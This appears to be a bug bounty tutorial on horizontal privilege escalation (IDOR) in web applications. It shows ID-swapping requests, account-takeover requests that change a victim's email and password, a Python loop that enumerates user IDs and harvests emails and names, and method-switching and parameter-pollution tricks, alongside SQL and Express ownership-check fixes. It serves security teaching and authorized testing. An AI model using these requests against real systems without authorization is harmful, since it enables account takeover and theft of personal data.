Horizontal Privilege Escalation —
Complete Bug Bounty Guide 2026
Horizontal Privilege Escalation lets attackers access another user’s private data, orders, invoices, and account settings — without needing admin rights. Learn how to find and exploit it in real bug bounty programs.
🔍 What is Horizontal Privilege Escalation?
Horizontal Privilege Escalation is a web security vulnerability where a user at one privilege level accesses or modifies resources belonging to another user at the same privilege level. Unlike vertical escalation (user → admin), horizontal escalation moves across users — User A reading or modifying User B’s data.
Horizontal Privilege Escalation — User A accesses User B’s data at the same role level
The app checks WHO you are (authentication) but not WHAT you own (authorization). You are logged in as User A, but by changing an ID in a request, you access User B’s private data. Both users are regular accounts — no privilege upgrade happens.
Your profile is at /account/1001. You change the URL to /account/1002. The server loads User B’s private profile — including their address, phone, orders, and payment history. Both of you are regular users. The server never verified that ID 1001 is allowed to read ID 1002’s data.
⚖️ Horizontal vs Vertical Privilege Escalation
| Aspect | Horizontal Escalation | Vertical Escalation |
|---|---|---|
| Movement | Across users — same privilege level | Up the chain — user → admin |
| Example | User A reads User B’s private orders | Regular user opens admin dashboard |
| ID Change | user_id=1001 → user_id=1002 | role=user → role=admin |
| OWASP | A01: Broken Access Control / BOLA | A01: Broken Access Control / BFLA |
| Severity | Medium → Critical (data-dependent) | High → Critical (almost always) |
| Common In | Profile, orders, invoices, messages | Admin panel, role endpoints |
| Fix | Add owner check to every DB query | Add role check to every route |
📊 Horizontal Privilege Escalation — Quick Reference
| Field | Details |
|---|---|
| Vulnerability | Horizontal Privilege Escalation |
| Also Known As | Horizontal Access Control Flaw, BOLA, Broken Object Level Authorization, Peer-Level Escalation |
| OWASP | A01: Broken Access Control | OWASP API: BOLA |
| CVE Score | 5.0 – 9.8 |
| Severity | Medium → Critical (PII, financial, medical = Critical) |
| Root Cause | No ownership validation in DB queries — app checks login but not resource ownership |
| Where to Check | /profile?id=, /orders/{id}, /invoice/, /messages/{id}, /api/users/{id}, /settings?user= |
| Best Tools | Burp Suite, Autorize extension, AutoRepeater, ffuf, curl, PwnFox |
| Practice Labs | PortSwigger Web Academy, crAPI (OWASP), HackTheBox, TryHackMe, PentesterLab |
| Difficulty | Beginner–Intermediate |
| Most Common In | REST APIs, mobile app backends, SaaS applications, e-commerce platforms |
| Related Vulns | IDOR, BOPLA, Backend Auth Missing |
🎯 Where to Test for Horizontal Privilege Escalation
| Endpoint Pattern | Feature | What You Can Access |
|---|---|---|
GET /profile?id=USER_ID | Profile page | PII — name, email, address, phone |
GET /orders/{order_id} | Order history | Another user’s purchases |
GET /invoice/download?id= | Invoice download | Private financial documents |
POST /account/update | Account settings | Modify another user’s data |
POST /email/change | Email change | Account takeover |
DELETE /account/{id} | Account deletion | Delete another user’s account |
GET /messages/{id} | Private messages | Read another user’s inbox |
GET /api/users/{id}/data | API user data | Bulk PII extraction |
GET /reports/{id}.pdf | Report download | Private documents |
🧠 Manual Testing for Horizontal Privilege Escalation
Always test with two real accounts — never guess IDs blindly. Login as User A, collect User B’s IDs, then replay User A’s requests targeting User B’s resources. This proves real unauthorized access.
Phase 1 — Setup
Phase 2 — Test Read Access
# Your own profile (User A) — baseline GET /api/users/1001 → your data ✓ # Swap to User B's ID GET /api/users/1002 ← does this return User B's data? # Your order — baseline GET /orders/ORD-8820 → your order ✓ # Swap to User B's order GET /orders/ORD-8821 ← User B's private order? # If User B's data appears → Horizontal Privilege Escalation CONFIRMED
Phase 3 — Test Write Access (Account Takeover)
# Change User B's email → account takeover POST /api/account/update {"user_id": 1002, "email": "attacker@evil.com"} # Change User B's password POST /api/password/change {"user_id": 1002, "new_password": "hacked123"} # Modify User B's profile PUT /api/users/1002 {"name": "Hacked", "phone": "0000000000"} # If any of these succeed → CRITICAL Horizontal Escalation
Phase 4 — Mass Impact Enumeration
import requests
USER_A = {"session": "USER_A_SESSION_COOKIE"}
BASE = "https://target.com"
print("ID Status Email Name")
print("-" * 70)
for uid in range(1000, 1100):
r = requests.get(f"{BASE}/api/users/{uid}", cookies=USER_A, timeout=5)
if r.status_code == 200:
d = r.json()
print(
str(uid).ljust(8),
str(r.status_code).ljust(8),
str(d.get("email", "")).ljust(30),
d.get("name", "")
)
🤖 Best Tools for Horizontal Privilege Escalation Testing
BApp Store → Install Autorize → paste User B's cookie
ffuf -u URL/api/users/FUZZ -w ids.txt -mc 200
curl URL/api/users/1002 -H "Cookie: session=A"
Firefox Add-ons → PwnFox → use colored tabs per account
BApp Store → AutoRepeater → configure replacement rules
for id in range(1000,2000): requests.get(url+str(id))
🔥 Burp Suite — Horizontal Privilege Escalation Guide
GET /api/users/1001 HTTP/1.1 with Cookie: session=USER_A_SESSION1001 to 1002 (User B’s ID). Click Send. If User B’s data appears — Horizontal Privilege Escalation confirmed.GET /api/users/§1001§. Payload: Numbers 1000–2000. Start attack. Sort by response length. Larger/consistent body = another user’s valid data found.💣 Advanced Horizontal Privilege Escalation Techniques
Password Reset Token Leak → Full Account Takeover
# Step 1: Check if profile API leaks reset token GET /api/users/1002 Response: { "name": "Victim", "email": "victim@test.com", "password_reset_token": "abc123xyz" ← exposed! } # Step 2: Use token to reset victim's password POST /api/password/reset {"token": "abc123xyz", "new_password": "hacked"} # Result: Full account takeover via Horizontal Privilege Escalation
HTTP Method Switching
GET /api/users/1002 → 403 Forbidden POST /api/users/1002 → 200 OK ← forgot to protect PUT /api/users/1002 → 200 OK ← forgot to protect PATCH /api/users/1002 → 200 OK ← forgot to protect DELETE /api/users/1002 → 200 OK ← forgot to protect
Parameter Pollution & Type Tricks
# Double parameter — app may use second value GET /profile?user_id=1001&user_id=1002 # Array wrapping {"user_id": [1002]} {"user_id": {"id": 1002}} # Base64 encoded IDs — decode, modify, re-encode echo "dXNlcjEwMDE=" | base64 -d # → user1001 echo -n "user1002" | base64 # → dXNlcjEwMDI= GET /profile?id=dXNlcjEwMDI=
🔗 Real Horizontal Privilege Escalation Bug Chains
🛡️ Defense Against Horizontal Privilege Escalation
Always add the authenticated user’s ID to every database query as a second condition. Never trust user-supplied IDs alone — always verify ownership server-side.
# WRONG — trusts user-supplied ID alone SELECT * FROM orders WHERE id = :order_id # CORRECT — always add owner check SELECT * FROM orders WHERE id = :order_id AND user_id = :session_user_id # WRONG — Node.js / Express app.get('/api/users/:id', (req, res) => { db.query('SELECT * FROM users WHERE id = ?', [req.params.id]) }) # CORRECT — Node.js / Express app.get('/api/users/:id', authenticate, (req, res) => { if (req.params.id !== req.session.userId) return res.status(403).json({error:'Forbidden'}) db.query('SELECT * FROM users WHERE id = ? AND id = ?', [req.params.id, req.session.userId]) })
☑ Add AND owner_id = session_user_id to every DB query touching user resources
☑ Implement resource-ownership middleware that validates EVERY object access
☑ Use UUIDs instead of sequential integers to reduce enumeration (not a fix, just harder)
☑ Never return sensitive fields (reset_token, 2fa_secret) in profile API responses
☑ Log access anomalies — User A accessing hundreds of other users’ IDs = alert
☑ Test with Autorize against your own app before deploying
🔗 PortSwigger Web Academy — Access Control Labs
🔗 OWASP A01: Broken Access Control
🔗 Autorize — Burp Extension GitHub
🔗 crAPI — OWASP Vulnerable API Practice App
📖 IDOR — Insecure Direct Object Reference Guide
📖 BOPLA — Mass Assignment Complete Guide
📖 Backend Authorization Missing Guide
📖 Forced Browsing Complete Guide
🧠 Key Takeaways — Horizontal Privilege Escalation
- Horizontal Privilege Escalation = same role, different user — no privilege upgrade needed
- Always test with two real accounts — never guess blindly
- Test ALL HTTP methods separately — DELETE and PATCH are most commonly forgotten
- Check IDs in URL paths, query strings, POST body, JSON, and hidden form fields
- UUID does not prevent this — UUIDs leak from emails, JS files, and API responses
- Autorize extension automates 80% of horizontal escalation testing work
- Always enumerate to show mass impact — 1 user = Medium, 10,000 users = Critical bounty
- Blind horizontal escalation (delete/modify with no output) is still a valid Critical bug
- Combine with BOPLA — read admin profile horizontally → use admin ID in mass assignment
- The fix is one SQL clause:
AND owner_id = session_user_idon every query
Run a Python enumeration loop, collect 50+ affected user records (redact real PII — show structure only), and include the output in your report. Scope = bounty amount. One user affected = $200. 50,000 users = $10,000+. Always demonstrate full scope.

